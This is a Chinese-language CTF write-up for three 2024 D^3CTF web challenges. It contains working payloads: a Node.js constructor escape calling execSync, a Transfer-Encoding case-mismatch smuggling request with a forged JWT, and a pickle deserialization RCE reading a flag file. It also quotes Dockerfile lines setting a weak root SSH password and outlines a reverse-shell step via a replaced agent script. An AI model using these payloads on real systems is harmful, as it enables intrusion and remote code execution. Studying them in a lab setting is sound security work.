2024 D^3CTF WriteUp
2024-04-28
Write Up
stack_overflow
{"stdin":["0');this.constructor.constructor('return process.mainModule.require(\\'child_process\\').execSync(\\'cat /flag\\').toString();')();//"]}
d3pythonhttp
python 前端使用 flask 框架 ,后端使用 web.py 框架,实际上是利用前后端不同框架对 HTTP 请求的解析和处理不一致
对于后端 web.py:
class backdoor:
def POST(self):
data = web.data()
# fix this backdoor
if b"BackdoorPasswordOnlyForAdmin" in data:
return "You are an admin!"
else:
data = base64.b64decode(data)
pickle.loads(data)
return "Done!"
后端 web.data()
处的解析为:
def data():
"""Returns the data sent with the request."""
if "data" not in ctx:
if ctx.env.get("HTTP_TRANSFER_ENCODING") == "chunked":
ctx.data = ctx.env["wsgi.input"].read()
else:
cl = intget(ctx.env.get("CONTENT_LENGTH"), 0)
ctx.data = ctx.env["wsgi.input"].read(cl)
return ctx.data
其直接取出 HTTP_TRANSFER_ENCODING
字段与 chunked
进行比较
而前端 flask 处
if headers.get("Transfer-Encoding", "").lower() == "chunked":
data = "{}\r\n{}\r\n0\r\n\r\n".format(hex(len(data))[2:], data.decode())
if "BackdoorPasswordOnlyForAdmin" not in data:
return "You are not an admin!"
conn.request(method, "/backdoor", body=data, headers=headers)
return "Done!"
使用 Transfer-Encoding
的 lower() 形式与 chunked
进行比较,此处产生了前后端差异
故可以构造 payload Transfer-Encoding: Chunked
使得请求包在前端 flask 处被解析为分块形式,而在后端 web.py 处被不被解析为分块形式
在绕过后端后门判定后即可使用常规 Pickle 反序列化来 RCE
class R(object):
def __reduce__(self):
return (exec, ('index.GET=(lambda x: __import__("os").popen("cat /Secr3T_Flag").read());', ))
payload = base64.b64encode(pickle.dumps(R()))
注意此处由于靶机环境不出网,可以通过将 exec 替换 index.GET 来使用路由回显
Payload:
POST /admin HTTP/1.1
Host: python-backend:8080
Cookie: token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCIsImtpZCI6Ii4uL3Byb2Mvc3lzL2tlcm5lbC9vc3R5cGUifQ.eyJ1c2VybmFtZSI6ImEiLCJpc2FkbWluIjp0cnVlfQ.QNAZtiSeedmA7mnPacjjkjBlf3gb5QXXjEy-9USsYAQ
Transfer-Encoding: Chunked
Content-Length: {len(payload)}
{hex(len(payload))[2:]}
{payload.decode()}
1c
BackdoorPasswordOnlyForAdmin
0
moonbox
根据这段代码
RUN apt-get install -y openssh-server
RUN echo "PermitRootLogin yes" >> /etc/ssh/sshd_config
RUN echo "root:123456" | chpasswd
发现靶机使用了 root 弱密码并开启了 ssh 登录
对 moon-box-web jar 包 进行分析:com.vivo.internet.moonbox.web/console/AgentController.java
package com.vivo.internet.moonbox.web.console;
import com.vivo.internet.moonbox.common.api.dto.MoonBoxResult;
import com.vivo.internet.moonbox.service.console.ConsoleAgentService;
import com.vivo.internet.moonbox.service.console.vo.ActiveHostInfoVo;
import com.vivo.internet.moonbox.service.console.vo.AgentDetailVo;
import java.util.List;
import javax.annotation.Resource;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.PostMapping;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RequestParam;
import org.springframework.web.bind.annotation.RestController;
import org.springframework.web.multipart.MultipartFile;
@RequestMapping({"/api/console-agent"})
@RestController
public class AgentController {
@Resource
private ConsoleAgentService consoleAgentService;
@PostMapping({"fileUpload"})
public MoonBoxResult<Void> uploadFile(@RequestParam("file") MultipartFile file, @RequestParam("fileName") String fileName) throws Exception {
this.consoleAgentService.uploadAgentFile(file, fileName);
return MoonBoxResult.createSuccess(null);
}
@GetMapping({"fileLists"})
public MoonBoxResult<List<AgentDetailVo>> getFileList() {
return MoonBoxResult.createSuccess(this.consoleAgentService.getFileList());
}
@GetMapping({"agentActiveHost"})
public MoonBoxResult<List<ActiveHostInfoVo>> agentActiveHost(@RequestParam("taskRunId") String taskRunId) {
return MoonBoxResult.createSuccess(this.consoleAgentService.getActiveHostByTaskRunId(taskRunId));
}
}
可以通过 /api/console-agent/fileUpload
路由上传文件
寻找可用调用链
com/vivo/internet/moonbox/web/console/RecordRunController.class#run =>
com/vivo/internet/moonbox/service/console/impl/AbstractTaskRunService.class#taskRun =>
com/vivo/internet/moonbox/service/console/impl/AgentDistributionServiceImpl.class#startAgent =>
com/vivo/internet/moonbox/service/console/impl/AgentDistributionServiceImpl.class#startServerAgent =>
com/vivo/internet/moonbox/service/console/util/AgentUtil.class#getRemoteAgentStartCommand
getRemoteAgentStartCommand
public static String getRemoteAgentStartCommand(String sandboxDownLoadUrl, String moonboxDownLoadUrl, String appName, String taskConfig) {
String downLoadCommand = "curl -o sandboxDownLoad.tar " + sandboxDownLoadUrl + " && curl -o moonboxDownLoad.tar " + moonboxDownLoadUrl;
String startAgentCommand = " && sh ~/.sandbox-module/bin/start-remote-agent.sh " + appName + " " + taskConfig;
return downLoadCommand + " && rm -fr ~/sandbox && rm -fr ~/.sandbox-module && tar -xzf sandboxDownLoad.tar -C ~/ >> /dev/null && tar -xzf moonboxDownLoad.tar -C ~/ >> /dev/null && dos2unix ~/sandbox/bin/sandbox.sh && dos2unix ~/.sandbox-module/bin/start-remote-agent.sh && rm -f moonboxDownLoad.tar sandboxDownLoad.tar" + startAgentCommand;
}
由于 tar 包是可控的,可以通过覆盖 start-remote-agent.sh 来连接本机 ssh 来反弹 shell 实现 RCE